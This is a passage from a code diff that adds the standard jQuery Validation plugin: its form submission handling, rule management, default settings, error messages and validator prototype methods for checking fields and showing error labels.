+						hidden = $( "<input type='hidden'/>" )
+							.attr( "name", validator.submitButton.name )
+							.val( $( validator.submitButton ).val() )
+							.appendTo( validator.currentForm );
+					}
+
+					if ( validator.settings.submitHandler ) {
+						result = validator.settings.submitHandler.call( validator, validator.currentForm, event );
+						if ( hidden ) {
+
+							// And clean up afterwards; thanks to no-block-scope, hidden can be referenced
+							hidden.remove();
+						}
+						if ( result !== undefined ) {
+							return result;
+						}
+						return false;
+					}
+					return true;
+				}
+
+				// Prevent submit for invalid forms or custom submit handlers
+				if ( validator.cancelSubmit ) {
+					validator.cancelSubmit = false;
+					return handle();
+				}
+				if ( validator.form() ) {
+					if ( validator.pendingRequest ) {
+						validator.formSubmitted = true;
+						return false;
+					}
+					return handle();
+				} else {
+					validator.focusInvalid();
+					return false;
+				}
+			} );
+		}
+
+		return validator;
+	},
+
+	// https://jqueryvalidation.org/valid/
+	valid: function() {
+		var valid, validator, errorList;
+
+		if ( $( this[ 0 ] ).is( "form" ) ) {
+			valid = this.validate().form();
+		} else {
+			errorList = [];
+			valid = true;
+			validator = $( this[ 0 ].form ).validate();
+			this.each( function() {
+				valid = validator.element( this ) && valid;
+				if ( !valid ) {
+					errorList = errorList.concat( validator.errorList );
+				}
+			} );
+			validator.errorList = errorList;
+		}
+		return valid;
+	},
+
+	// https://jqueryvalidation.org/rules/
+	rules: function( command, argument ) {
+		var element = this[ 0 ],
+			settings, staticRules, existingRules, data, param, filtered;
+
+		// If nothing is selected, return empty object; can't chain anyway
+		if ( element == null ) {
+			return;
+		}
+
+		if ( !element.form && element.hasAttribute( "contenteditable" ) ) {
+			element.form = this.closest( "form" )[ 0 ];
+			element.name = this.attr( "name" );
+		}
+
+		if ( element.form == null ) {
+			return;
+		}
+
+		if ( command ) {
+			settings = $.data( element.form, "validator" ).settings;
+			staticRules = settings.rules;
+			existingRules = $.validator.staticRules( element );
+			switch ( command ) {
+			case "add":
+				$.extend( existingRules, $.validator.normalizeRule( argument ) );
+
+				// Remove messages from rules, but allow them to be set separately
+				delete existingRules.messages;
+				staticRules[ element.name ] = existingRules;
+				if ( argument.messages ) {
+					settings.messages[ element.name ] = $.extend( settings.messages[ element.name ], argument.messages );
+				}
+				break;
+			case "remove":
+				if ( !argument ) {
+					delete staticRules[ element.name ];
+					return existingRules;
+				}
+				filtered = {};
+				$.each( argument.split( /\s/ ), function( index, method ) {
+					filtered[ method ] = existingRules[ method ];
+					delete existingRules[ method ];
+				} );
+				return filtered;
+			}
+		}
+
+		data = $.validator.normalizeRules(
+		$.extend(
+			{},
+			$.validator.classRules( element ),
+			$.validator.attributeRules( element ),
+			$.validator.dataRules( element ),
+			$.validator.staticRules( element )
+		), element );
+
+		// Make sure required is at front
+		if ( data.required ) {
+			param = data.required;
+			delete data.required;
+			data = $.extend( { required: param }, data );
+		}
+
+		// Make sure remote is at back
+		if ( data.remote ) {
+			param = data.remote;
+			delete data.remote;
+			data = $.extend( data, { remote: param } );
+		}
+
+		return data;
+	}
+} );
+
+// Custom selectors
+$.extend( $.expr.pseudos || $.expr[ ":" ], {		// '|| $.expr[ ":" ]' here enables backwards compatibility to jQuery 1.7. Can be removed when dropping jQ 1.7.x support
+
+	// https://jqueryvalidation.org/blank-selector/
+	blank: function( a ) {
+		return !$.trim( "" + $( a ).val() );
+	},
+
+	// https://jqueryvalidation.org/filled-selector/
+	filled: function( a ) {
+		var val = $( a ).val();
+		return val !== null && !!$.trim( "" + val );
+	},
+
+	// https://jqueryvalidation.org/unchecked-selector/
+	unchecked: function( a ) {
+		return !$( a ).prop( "checked" );
+	}
+} );
+
+// Constructor for validator
+$.validator = function( options, form ) {
+	this.settings = $.extend( true, {}, $.validator.defaults, options );
+	this.currentForm = form;
+	this.init();
+};
+
+// https://jqueryvalidation.org/jQuery.validator.format/
+$.validator.format = function( source, params ) {
+	if ( arguments.length === 1 ) {
+		return function() {
+			var args = $.makeArray( arguments );
+			args.unshift( source );
+			return $.validator.format.apply( this, args );
+		};
+	}
+	if ( params === undefined ) {
+		return source;
+	}
+	if ( arguments.length > 2 && params.constructor !== Array  ) {
+		params = $.makeArray( arguments ).slice( 1 );
+	}
+	if ( params.constructor !== Array ) {
+		params = [ params ];
+	}
+	$.each( params, function( i, n ) {
+		source = source.replace( new RegExp( "\\{" + i + "\\}", "g" ), function() {
+			return n;
+		} );
+	} );
+	return source;
+};
+
+$.extend( $.validator, {
+
+	defaults: {
+		messages: {},
+		groups: {},
+		rules: {},
+		errorClass: "error",
+		pendingClass: "pending",
+		validClass: "valid",
+		errorElement: "label",
+		focusCleanup: false,
+		focusInvalid: true,
+		errorContainer: $( [] ),
+		errorLabelContainer: $( [] ),
+		onsubmit: true,
+		ignore: ":hidden",
+		ignoreTitle: false,
+		onfocusin: function( element ) {
+			this.lastActive = element;
+
+			// Hide error label and remove error class on focus if enabled
+			if ( this.settings.focusCleanup ) {
+				if ( this.settings.unhighlight ) {
+					this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass );
+				}
+				this.hideThese( this.errorsFor( element ) );
+			}
+		},
+		onfocusout: function( element ) {
+			if ( !this.checkable( element ) && ( element.name in this.submitted || !this.optional( element ) ) ) {
+				this.element( element );
+			}
+		},
+		onkeyup: function( element, event ) {
+
+			// Avoid revalidate the field when pressing one of the following keys
+			// Shift       => 16
+			// Ctrl        => 17
+			// Alt         => 18
+			// Caps lock   => 20
+			// End         => 35
+			// Home        => 36
+			// Left arrow  => 37
+			// Up arrow    => 38
+			// Right arrow => 39
+			// Down arrow  => 40
+			// Insert      => 45
+			// Num lock    => 144
+			// AltGr key   => 225
+			var excludedKeys = [
+				16, 17, 18, 20, 35, 36, 37,
+				38, 39, 40, 45, 144, 225
+			];
+
+			if ( event.which === 9 && this.elementValue( element ) === "" || $.inArray( event.keyCode, excludedKeys ) !== -1 ) {
+				return;
+			} else if ( element.name in this.submitted || element.name in this.invalid ) {
+				this.element( element );
+			}
+		},
+		onclick: function( element ) {
+
+			// Click on selects, radiobuttons and checkboxes
+			if ( element.name in this.submitted ) {
+				this.element( element );
+
+			// Or option elements, check parent select in that case
+			} else if ( element.parentNode.name in this.submitted ) {
+				this.element( element.parentNode );
+			}
+		},
+		highlight: function( element, errorClass, validClass ) {
+			if ( element.type === "radio" ) {
+				this.findByName( element.name ).addClass( errorClass ).removeClass( validClass );
+			} else {
+				$( element ).addClass( errorClass ).removeClass( validClass );
+			}
+		},
+		unhighlight: function( element, errorClass, validClass ) {
+			if ( element.type === "radio" ) {
+				this.findByName( element.name ).removeClass( errorClass ).addClass( validClass );
+			} else {
+				$( element ).removeClass( errorClass ).addClass( validClass );
+			}
+		}
+	},
+
+	// https://jqueryvalidation.org/jQuery.validator.setDefaults/
+	setDefaults: function( settings ) {
+		$.extend( $.validator.defaults, settings );
+	},
+
+	messages: {
+		required: "This field is required.",
+		remote: "Please fix this field.",
+		email: "Please enter a valid email address.",
+		url: "Please enter a valid URL.",
+		date: "Please enter a valid date.",
+		dateISO: "Please enter a valid date (ISO).",
+		number: "Please enter a valid number.",
+		digits: "Please enter only digits.",
+		equalTo: "Please enter the same value again.",
+		maxlength: $.validator.format( "Please enter no more than {0} characters." ),
+		minlength: $.validator.format( "Please enter at least {0} characters." ),
+		rangelength: $.validator.format( "Please enter a value between {0} and {1} characters long." ),
+		range: $.validator.format( "Please enter a value between {0} and {1}." ),
+		max: $.validator.format( "Please enter a value less than or equal to {0}." ),
+		min: $.validator.format( "Please enter a value greater than or equal to {0}." ),
+		step: $.validator.format( "Please enter a multiple of {0}." )
+	},
+
+	autoCreateRanges: false,
+
+	prototype: {
+
+		init: function() {
+			this.labelContainer = $( this.settings.errorLabelContainer );
+			this.errorContext = this.labelContainer.length && this.labelContainer || $( this.currentForm );
+			this.containers = $( this.settings.errorContainer ).add( this.settings.errorLabelContainer );
+			this.submitted = {};
+			this.valueCache = {};
+			this.pendingRequest = 0;
+			this.pending = {};
+			this.invalid = {};
+			this.reset();
+
+			var groups = ( this.groups = {} ),
+				rules;
+			$.each( this.settings.groups, function( key, value ) {
+				if ( typeof value === "string" ) {
+					value = value.split( /\s/ );
+				}
+				$.each( value, function( index, name ) {
+					groups[ name ] = key;
+				} );
+			} );
+			rules = this.settings.rules;
+			$.each( rules, function( key, value ) {
+				rules[ key ] = $.validator.normalizeRule( value );
+			} );
+
+			function delegate( event ) {
+
+				// Set form expando on contenteditable
+				if ( !this.form && this.hasAttribute( "contenteditable" ) ) {
+					this.form = $( this ).closest( "form" )[ 0 ];
+					this.name = $( this ).attr( "name" );
+				}
+
+				var validator = $.data( this.form, "validator" ),
+					eventType = "on" + event.type.replace( /^validate/, "" ),
+					settings = validator.settings;
+				if ( settings[ eventType ] && !$( this ).is( settings.ignore ) ) {
+					settings[ eventType ].call( validator, this, event );
+				}
+			}
+
+			$( this.currentForm )
+				.on( "focusin.validate focusout.validate keyup.validate",
+					":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'], " +
+					"[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], " +
+					"[type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'], " +
+					"[type='radio'], [type='checkbox'], [contenteditable], [type='button']", delegate )
+
+				// Support: Chrome, oldIE
+				// "select" is provided as event.target when clicking a option
+				.on( "click.validate", "select, option, [type='radio'], [type='checkbox']", delegate );
+
+			if ( this.settings.invalidHandler ) {
+				$( this.currentForm ).on( "invalid-form.validate", this.settings.invalidHandler );
+			}
+		},
+
+		// https://jqueryvalidation.org/Validator.form/
+		form: function() {
+			this.checkForm();
+			$.extend( this.submitted, this.errorMap );
+			this.invalid = $.extend( {}, this.errorMap );
+			if ( !this.valid() ) {
+				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
+			}
+			this.showErrors();
+			return this.valid();
+		},
+
+		checkForm: function() {
+			this.prepareForm();
+			for ( var i = 0, elements = ( this.currentElements = this.elements() ); elements[ i ]; i++ ) {
+				this.check( elements[ i ] );
+			}
+			return this.valid();
+		},
+
+		// https://jqueryvalidation.org/Validator.element/
+		element: function( element ) {
+			var cleanElement = this.clean( element ),
+				checkElement = this.validationTargetFor( cleanElement ),
+				v = this,
+				result = true,
+				rs, group;
+
+			if ( checkElement === undefined ) {
+				delete this.invalid[ cleanElement.name ];
+			} else {
+				this.prepareElement( checkElement );
+				this.currentElements = $( checkElement );
+
+				// If this element is grouped, then validate all group elements already
+				// containing a value
+				group = this.groups[ checkElement.name ];
+				if ( group ) {
+					$.each( this.groups, function( name, testgroup ) {
+						if ( testgroup === group && name !== checkElement.name ) {
+							cleanElement = v.validationTargetFor( v.clean( v.findByName( name ) ) );
+							if ( cleanElement && cleanElement.name in v.invalid ) {
+								v.currentElements.push( cleanElement );
+								result = v.check( cleanElement ) && result;
+							}
+						}
+					} );
+				}
+
+				rs = this.check( checkElement ) !== false;
+				result = result && rs;
+				if ( rs ) {
+					this.invalid[ checkElement.name ] = false;
+				} else {
+					this.invalid[ checkElement.name ] = true;
+				}
+
+				if ( !this.numberOfInvalids() ) {
+
+					// Hide error containers on last error
+					this.toHide = this.toHide.add( this.containers );
+				}
+				this.showErrors();
+
+				// Add aria-invalid status for screen readers
+				$( element ).attr( "aria-invalid", !rs );
+			}
+
+			return result;
+		},
+
+		// https://jqueryvalidation.org/Validator.showErrors/
+		showErrors: function( errors ) {
+			if ( errors ) {
+				var validator = this;
+
+				// Add items to error list and map
+				$.extend( this.errorMap, errors );
+				this.errorList = $.map( this.errorMap, function( message, name ) {
+					return {
+						message: message,
+						element: validator.findByName( name )[ 0 ]
+					};
+				} );
+
+				// Remove items from success list
+				this.successList = $.grep( this.successList, function( element ) {
+					return !( element.name in errors );
+				} );
+			}
+			if ( this.settings.showErrors ) {
+				this.settings.showErrors.call( this, this.errorMap, this.errorList );
+			} else {
+				this.defaultShowErrors();
+			}
+		},
+
+		// https://jqueryvalidation.org/Validator.resetForm/
+		resetForm: function() {
+			if ( $.fn.resetForm ) {
+				$( this.currentForm ).resetForm();
+			}
+			this.invalid = {};
+			this.submitted = {};
+			this.prepareForm();
+			this.hideErrors();
+			var elements = this.elements()
+				.removeData( "previousValue" )
+				.removeAttr( "aria-invalid" );
+
+			this.resetElements( elements );
+		},
+
+		resetElements: function( elements ) {
+			var i;
+
+			if ( this.settings.unhighlight ) {
+				for ( i = 0; elements[ i ]; i++ ) {
+					this.settings.unhighlight.call( this, elements[ i ],
+						this.settings.errorClass, "" );
+					this.findByName( elements[ i ].name ).removeClass( this.settings.validClass );
+				}
+			} else {
+				elements
+					.removeClass( this.settings.errorClass )
+					.removeClass( this.settings.validClass );
+			}
+		},
+
+		numberOfInvalids: function() {
+			return this.objectLength( this.invalid );
+		},
+
+		objectLength: function( obj ) {
+			/* jshint unused: false */
+			var count = 0,
+				i;
+			for ( i in obj ) {
+
+				// This check allows counting elements with empty error
+				// message as invalid elements
+				if ( obj[ i ] !== undefined && obj[ i ] !== null && obj[ i ] !== false ) {
+					count++;
+				}
+			}
+			return count;
+		},
+
+		hideErrors: function() {
+			this.hideThese( this.toHide );
+		},
+
+		hideThese: function( errors ) {
+			errors.not( this.containers ).text( "" );
+			this.addWrapper( errors ).hide();
+		},
+
+		valid: function() {
+			return this.size() === 0;
+		},
+
+		size: function() {
+			return this.errorList.length;
+		},
+
+		focusInvalid: function() {
+			if ( this.settings.focusInvalid ) {
+				try {
+					$( this.findLastActive() || this.errorList.length && this.errorList[ 0 ].element || [] )
+					.filter( ":visible" )
+					.focus()
+
+					// Manually trigger focusin event; without it, focusin handler isn't called, findLastActive won't have anything to find
+					.trigger( "focusin" );
+				} catch ( e ) {
+
+					// Ignore IE throwing errors when focusing hidden elements
+				}
+			}
+		},
+
+		findLastActive: function() {
+			var lastActive = this.lastActive;
+			return lastActive && $.grep( this.errorList, function( n ) {
+				return n.element.name === lastActive.name;
+			} ).length === 1 && lastActive;
+		},
+
+		elements: function() {
+			var validator = this,
+				rulesCache = {};
+
+			// Select all valid inputs inside the form (no submit or reset buttons)
+			return $( this.currentForm )
+			.find( "input, select, textarea, [contenteditable]" )
+			.not( ":submit, :reset, :image, :disabled" )
+			.not( this.settings.ignore )
+			.filter( function() {
+				var name = this.name || $( this ).attr( "name" ); // For contenteditable
+				if ( !name && validator.settings.debug && window.console ) {
+					console.error( "%o has no name assigned", this );
+				}
+
+				// Set form expando on contenteditable
+				if ( this.hasAttribute( "contenteditable" ) ) {
+					this.form = $( this ).closest( "form" )[ 0 ];
+					this.name = name;
+				}
+
+				// Select only the first element for each name, and only those with rules specified
+				if ( name in rulesCache || !validator.objectLength( $( this ).rules() ) ) {
+					return false;
+				}
+
+				rulesCache[ name ] = true;
+				return true;
+			} );
+		},
+
+		clean: function( selector ) {
+			return $( selector )[ 0 ];
+		},
+
+		errors: function() {
+			var errorClass = this.settings.errorClass.split( " " ).join( "." );
+			return $( this.settings.errorElement + "." + errorClass, this.errorContext );
+		},
+
+		resetInternals: function() {
+			this.successList = [];
+			this.errorList = [];
+			this.errorMap = {};
+			this.toShow = $( [] );
+			this.toHide = $( [] );
+		},
+
+		reset: function() {
+			this.resetInternals();
+			this.currentElements = $( [] );
+		},
+
+		prepareForm: function() {
+			this.reset();
+			this.toHide = this.errors().add( this.containers );
+		},
+
+		prepareElement: function( element ) {
+			this.reset();
+			this.toHide = this.errorsFor( element );
+		},
+
+		elementValue: function( element ) {
+			var $element = $( element ),
+				type = element.type,
+				val, idx;
+
+			if ( type === "radio" || type === "checkbox" ) {
+				return this.findByName( element.name ).filter( ":checked" ).val();
+			} else if ( type === "number" && typeof element.validity !== "undefined" ) {
+				return element.validity.badInput ? "NaN" : $element.val();
+			}
+
+			if ( element.hasAttribute( "contenteditable" ) ) {
+				val = $element.text();
+			} else {
+				val = $element.val();
+			}
+
+			if ( type === "file" ) {
+
+				// Modern browser (chrome & safari)
+				if ( val.substr( 0, 12 ) === "C:\\fakepath\\" ) {
+					return val.substr( 12 );
+				}
+
+				// Legacy browsers
+				// Unix-based path
+				idx = val.lastIndexOf( "/" );
+				if ( idx >= 0 ) {
+					return val.substr( idx + 1 );
+				}
+
+				// Windows-based path
+				idx = val.lastIndexOf( "\\" );
+				if ( idx >= 0 ) {
+					return val.substr( idx + 1 );
+				}
+
+				// Just the file name
+				return val;
+			}
+
+			if ( typeof val === "string" ) {
+				return val.replace( /\r/g, "" );
+			}
+			return val;
+		},
+
+		check: function( element ) {
+			element = this.validationTargetFor( this.clean( element ) );
+
+			var rules = $( element ).rules(),
+				rulesCount = $.map( rules, function( n, i ) {
+					return i;
+				} ).length,
+				dependencyMismatch = false,
+				val = this.elementValue( element ),
+				result, method, rule, normalizer;
+
+			// Prioritize the local normalizer defined for this element over the global one
+			// if the former exists, otherwise user the global one in case it exists.
+			if ( typeof rules.normalizer === "function" ) {
+				normalizer = rules.normalizer;
+			} else if (	typeof this.settings.normalizer === "function" ) {
+				normalizer = this.settings.normalizer;
+			}
+
+			// If normalizer is defined, then call it to retreive the changed value instead
+			// of using the real one.
+			// Note that `this` in the normalizer is `element`.
+			if ( normalizer ) {
+				val = normalizer.call( element, val );
+
+				if ( typeof val !== "string" ) {
+					throw new TypeError( "The normalizer should return a string value." );
+				}
+
+				// Delete the normalizer from rules to avoid treating it as a pre-defined method.
+				delete rules.normalizer;
+			}
+
+			for ( method in rules ) {
+				rule = { method: method, parameters: rules[ method ] };
+				try {
+					result = $.validator.methods[ method ].call( this, val, element, rule.parameters );
+
+					// If a method indicates that the field is optional and therefore valid,
+					// don't mark it as valid when there are no other rules
+					if ( result === "dependency-mismatch" && rulesCount === 1 ) {
+						dependencyMismatch = true;
+						continue;
+					}
+					dependencyMismatch = false;
+
+					if ( result === "pending" ) {
+						this.toHide = this.toHide.not( this.errorsFor( element ) );
+						return;
+					}
+
+					if ( !result ) {
+						this.formatAndAdd( element, rule );
+						return false;
+					}
+				} catch ( e ) {
+					if ( this.settings.debug && window.console ) {
+						console.log( "Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.", e );
+					}
+					if ( e instanceof TypeError ) {
+						e.message += ".  Exception occurred when checking element " + element.id + ", check the '" + rule.method + "' method.";
+					}
+
+					throw e;
+				}
+			}
+			if ( dependencyMismatch ) {
+				return;
+			}
+			if ( this.objectLength( rules ) ) {
+				this.successList.push( element );
+			}
+			return true;
+		},
+
+		// Return the custom message for the given element and validation method
+		// specified in the element's HTML5 data attribute
+		// return the generic message if present and no method specific message is present
+		customDataMessage: function( element, method ) {
+			return $( element ).data( "msg" + method.charAt( 0 ).toUpperCase() +
+				method.substring( 1 ).toLowerCase() ) || $( element ).data( "msg" );
+		},
+
+		// Return the custom message for the given element name and validation method
+		customMessage: function( name, method ) {
+			var m = this.settings.messages[ name ];
+			return m && ( m.constructor === String ? m : m[ method ] );
+		},
+
+		// Return the first defined argument, allowing empty strings
+		findDefined: function() {
+			for ( var i = 0; i < arguments.length; i++ ) {
+				if ( arguments[ i ] !== undefined ) {
+					return arguments[ i ];
+				}
+			}
+			return undefined;
+		},
+
+		// The second parameter 'rule' used to be a string, and extended to an object literal
+		// of the following form:
+		// rule = {
+		//     method: "method name",
+		//     parameters: "the given method parameters"
+		// }
+		//
+		// The old behavior still supported, kept to maintain backward compatibility with
+		// old code, and will be removed in the next major release.
+		defaultMessage: function( element, rule ) {
+			if ( typeof rule === "string" ) {
+				rule = { method: rule };
+			}
+
+			var message = this.findDefined(
+					this.customMessage( element.name, rule.method ),
+					this.customDataMessage( element, rule.method ),
+
+					// 'title' is never undefined, so handle empty string as undefined
+					!this.settings.ignoreTitle && element.title || undefined,
+					$.validator.messages[ rule.method ],
+					"<strong>Warning: No message defined for " + element.name + "</strong>"
+				),
+				theregex = /\$?\{(\d+)\}/g;
+			if ( typeof message === "function" ) {
+				message = message.call( this, rule.parameters, element );
+			} else if ( theregex.test( message ) ) {
+				message = $.validator.format( message.replace( theregex, "{$1}" ), rule.parameters );
+			}
+
+			return message;
+		},
+
+		formatAndAdd: function( element, rule ) {
+			var message = this.defaultMessage( element, rule );
+
+			this.errorList.push( {
+				message: message,
+				element: element,
+				method: rule.method
+			} );
+
+			this.errorMap[ element.name ] = message;
+			this.submitted[ element.name ] = message;
+		},
+
+		addWrapper: function( toToggle ) {
+			if ( this.settings.wrapper ) {
+				toToggle = toToggle.add( toToggle.parent( this.settings.wrapper ) );
+			}
+			return toToggle;
+		},
+
+		defaultShowErrors: function() {
+			var i, elements, error;
+			for ( i = 0; this.errorList[ i ]; i++ ) {
+				error = this.errorList[ i ];
+				if ( this.settings.highlight ) {
+					this.settings.highlight.call( this, error.element, this.settings.errorClass, this.settings.validClass );
+				}
+				this.showLabel( error.element, error.message );
+			}
+			if ( this.errorList.length ) {
+				this.toShow = this.toShow.add( this.containers );
+			}
+			if ( this.settings.success ) {
+				for ( i = 0; this.successList[ i ]; i++ ) {
+					this.showLabel( this.successList[ i ] );
+				}
+			}
+			if ( this.settings.unhighlight ) {
+				for ( i = 0, elements = this.validElements(); elements[ i ]; i++ ) {
+					this.settings.unhighlight.call( this, elements[ i ], this.settings.errorClass, this.settings.validClass );
+				}
+			}
+			this.toHide = this.toHide.not( this.toShow );
+			this.hideErrors();
+			this.addWrapper( this.toShow ).show();
+		},
+
+		validElements: function() {
+			return this.currentElements.not( this.invalidElements() );
+		},
+
+		invalidElements: function() {
+			return $( this.errorList ).map( function() {
+				return this.element;
+			} );
+		},
+
+		showLabel: function( element, message ) {
+			var place, group, errorID, v,
+				error = this.errorsFor( element ),
+				elementID = this.idOrName( element ),
+				describedBy = $( element ).attr( "aria-describedby" );
+
+			if ( error.length ) {
+
+				// Refresh error/success class
+				error.removeClass( this.settings.validClass ).addClass( this.settings.errorClass );
+
+				// Replace message on existing label
+				error.html( message );
+			} else {
+
+				// Create error element
+				error = $( "<" + this.settings.errorElement + ">" )
+					.attr( "id", elementID + "-error" )
+					.addClass( this.settings.errorClass )
+					.html( message || "" );
+
+				// Maintain reference to the element to be placed into the DOM
+				place = error;
+				if ( this.settings.wrapper ) {
+
+					// Make sure the element is visible, even in IE
+					// actually showing the wrapped element is handled elsewhere
+					place = error.hide().show().wrap( "<" + this.settings.wrapper + "/>" ).parent();
+				}
+				if ( this.labelContainer.length ) {
+					this.labelContainer.append( place );
+				} else if ( this.settings.errorPlacement ) {
+					this.settings.errorPlacement.call( this, place, $( element ) );
+				} else {
+					place.insertAfter( element );
+				}
+
+				// Link error back to the element
+				if ( error.is( "label" ) ) {
+
+					// If the error is a label, then associate using 'for'
+					error.attr( "for", elementID );
+
+					// If the element is not a child of an associated label, then it's necessary
+					// to explicitly apply aria-describedby
+				} else if ( error.parents( "label[for='" + this.escapeCssMeta( elementID ) + "']" ).length === 0 ) {
+					errorID = error.attr( "id" );
+
+					// Respect existing non-error aria-describedby
+					if ( !describedBy ) {
+						describedBy = errorID;
+					} else if ( !describedBy.match( new RegExp( "\\b" + this.escapeCssMeta( errorID ) + "\\b" ) ) ) {
+
+						// Add to end of list if not already present
+						describedBy += " " + errorID;
+					}
+					$( element ).attr( "aria-describedby", describedBy );
+
+					// If this element is grouped, then assign to all elements in the same group
+					group = this.groups[ element.name ];
+					if ( group ) {
+						v = this;
+						$.each( v.groups, function( name, testgroup ) {
+							if ( testgroup === group ) {
+								$( "[name='" + v.escapeCssMeta( name ) + "']", v.currentForm )
+									.attr( "aria-describedby", error.attr( "id" ) );
+							}
+						} );
+					}
+				}
+			}
+			if ( !message && this.settings.success ) {
+				error.text( "" );
+				if ( typeof this.settings.success === "string" ) {
+					error.addClass( this.settings.success );
+				} else {
+					this.settings.success( error, element );
+				}
+			}
+			this.toShow = this.toShow.add( error );
+		},
+
+		errorsFor: function( element ) {
+			var name = this.escapeCssMeta( this.idOrName( element ) ),
+				describer = $( element ).attr( "aria-describedby" ),
+				selector = "label[for='" + name + "'], label[for='" + name + "'] *";
+
+			// 'aria-describedby' should directly reference the error element
+			if ( describer ) {
+				selector = selector + ", #" + this.escapeCssMeta( describer )
+					.replace( /\s+/g, ", #" );
+			}
+
+			return this
+				.errors()
+				.filter( selector );
+		},
+
+		// See https://api.jquery.com/category/selectors/, for CSS
+		// meta-characters that should be escaped in order to be used with JQuery
+		// as a literal part of a name/id or any selector.
+		escapeCssMeta: function( string ) {
+			return string.replace( /([\\!"#$%&'()*+,./:;<=>?@\[\]^`{|}~])/g, "\\$1" );
+		},
+
+		idOrName: function( element ) {
+			return this.groups[ element.name ] || ( this.checkable( element ) ? element.name : element.id || element.name );
+		},
+
+		validationTargetFor: function( element ) {
+
+			// If radio/checkbox, validate first element in group instead
+			if ( this.checkable( element ) ) {
+				element = this.findByName( element.name );
+			}
+
+			// Always apply ignore filter
+			return $( element ).not( this.settings.ignore )[ 0 ];
+		},
+
+		checkable: function( element ) {
+			return ( /radio|checkbox/i ).test( element.type );
+		},
+
+		findByName: function( name ) {
+			return $( this.currentForm ).find( "[name='" + this.escapeCssMeta( name ) + "']" );
+		},
+
+		getLength: function( value, element ) {
+			switch ( element.nodeName.toLowerCase() ) {
+			case "select":
+				return $( "option:selected", element ).length;
+			case "input":
+				if ( this.checkable( element ) ) {
+					return this.findByName( element.name ).filter( ":checked" ).length;
+				}
+			}
+			return value.length;
+		},
+
+		depend: function( param, element ) {
+			return this.dependTypes[ typeof param ] ? this.dependTypes[ typeof param ]( param, element ) : true;
+		},
+
+		dependTypes: {
+			"boolean": function( param ) {
+				return param;
+			},
+			"string": function( param, element ) {
+				return !!$( param, element.form ).length;
+			},
+			"function": function( param, element ) {
+				return param( element );
+			}
+		},
+
+		optional: function( element ) {
+			var val = this.elementValue( element );
+			return !$.validator.methods.required.call( this, val, element ) && "dependency-mismatch";
+		},
+
+		startRequest: function( element ) {
+			if ( !this.pending[ element.name ] ) {
+				this.pendingRequest++;
+				$( element ).addClass( this.settings.pendingClass );
+				this.pending[ element.name ] = true;
+			}
+		},
+
+		stopRequest: function( element, valid ) {
+			this.pendingRequest--;
+
+			// Sometimes synchronization fails, make sure pendingRequest is never < 0
+			if ( this.pendingRequest < 0 ) {
+				this.pendingRequest = 0;
+			}
+			delete this.pending[ element.name ];
+			$( element ).removeClass( this.settings.pendingClass );
+			if ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() ) {
+				$( this.currentForm ).submit();
+
+				// Remove the hidden input that was used as a replacement for the
+				// missing submit button. The hidden input is added by `handle()`
+				// to ensure that the value of the used submit button is passed on
+				// for scripted submits triggered by this method
+				if ( this.submitButton ) {
+					$( "input:hidden[name='" + this.submitButton.name + "']", this.currentForm ).remove();
+				}
+
+				this.formSubmitted = false;
+			} else if ( !valid && this.pendingRequest === 0 && this.formSubmitted ) {
+				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
+				this.formSubmitted = false;
+			}
+		},
+
+		previousValue: function( element, method ) {
+			method = typeof method === "string" && method || "remote";
+
+			return $.data( element, "previousValue" ) || $.data( element, "previousValue", {
+				old: null,
+				valid: true,
+				message: this.defaultMessage( element, { method: method } )
+			} );
+		},
+
+		// Cleans up all forms and elements, removes validator-specific events
+		destroy: function() {
+			this.resetForm();
+
+			$( this.currentForm )
+				.off( ".validate" )
+				.removeData( "validator" )
+				.find( ".validate-equalTo-blur" )
+					.off( ".validate-equalTo" )
+					.removeClass( "validate-equalTo-blur" );
+		}
+
+	},
+
+	classRuleSettings: {
+		required: { required: true },
+		email: { email: true },
+		url: { url: true },
+		date: { date: true },
+		dateISO: { dateISO: true },
+		number: { number: true },
+		digits: { digits: true },
+		creditcard: { creditcard: true }
+	},
+
+	addClassRules: function( className, rules ) {
+		if ( className.constructor === String ) {
+			this.classRuleSettings[ className ] = rules;
+		} else {
+			$.extend( this.classRuleSettings, className );
+		}
+	},
+
+	classRules: function( element ) {
+		var rules = {},
+			classes = $( element ).attr( "class" );
+
+		if ( classes ) {
+			$.each( classes.split( " " ), function() {
+				if ( this in $.validator.classRuleSettings ) {
+					$.extend( rules, $.validator.classRuleSettings[ this ] );
+				}
+			} );
+		}
+		return rules;
+	},
+
+	normalizeAttributeRule: function( rules, type, method, value ) {
+
+		// Convert the value to a number for number inputs, and for text for backwards compability
+		// allows type="date" and others to be compared as strings
+		if ( /min|max|step/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) {
+			value = Number( value );
+
+			// Support Opera Mini, which returns NaN for undefined minlength
+			if ( isNaN( value ) ) {
+				value = undefined;
+			}
+		}
+
+		if ( value || value === 0 ) {
+			rules[ method ] = value;
+		} else if ( type === method && type !== "range" ) {
+
+			// Exception: the jquery validate 'range' method
+			// does not test for the html5 'range' type
+			rules[ method ] = true;
+		}
+	},
+
+	attributeRules: function( element ) {
+		var rules = {},
+			$element = $( element ),
+			type = element.getAttribute( "type" ),
+			method, value;
+
+		for ( method in $.validator.methods ) {
+
+			// Support for <input required> in both html5 and older browsers
+			if ( method === "required" ) {
+				value = element.getAttribute( method );
+
+				// Some browsers return an empty string for the required attribute
+				// and non-HTML5 browsers might have required="" markup
+				if ( value === "" ) {
+					value = true;
+				}
+
+				// Force non-HTML5 browsers to return bool
+				value = !!value;
+			} else {
+				value = $element.attr( method );
+			}
+
+			this.normalizeAttributeRule( rules, type, method, value );
+		}
+
+		// 'maxlength' may be returned as -1, 2147483647 ( IE ) and 524288 ( safari ) for text inputs
+		if ( rules.maxlength && /-1|2147483647|524288/.test( rules.maxlength ) ) {
+			delete rules.maxlength;
+		}
+
+		return rules;
+	},
+
+	dataRules: function( element ) {
+		var rules = {},
+			$element = $( element ),
+			type = element.getAttribute( "type" ),
+			method, value;
+
+		for ( method in $.validator.methods ) {
+			value = $element.data( "rule" + method.charAt( 0 ).toUpperCase() + method.substring( 1 ).toLowerCase() );
+			this.normalizeAttributeRule( rules, type, method, value );
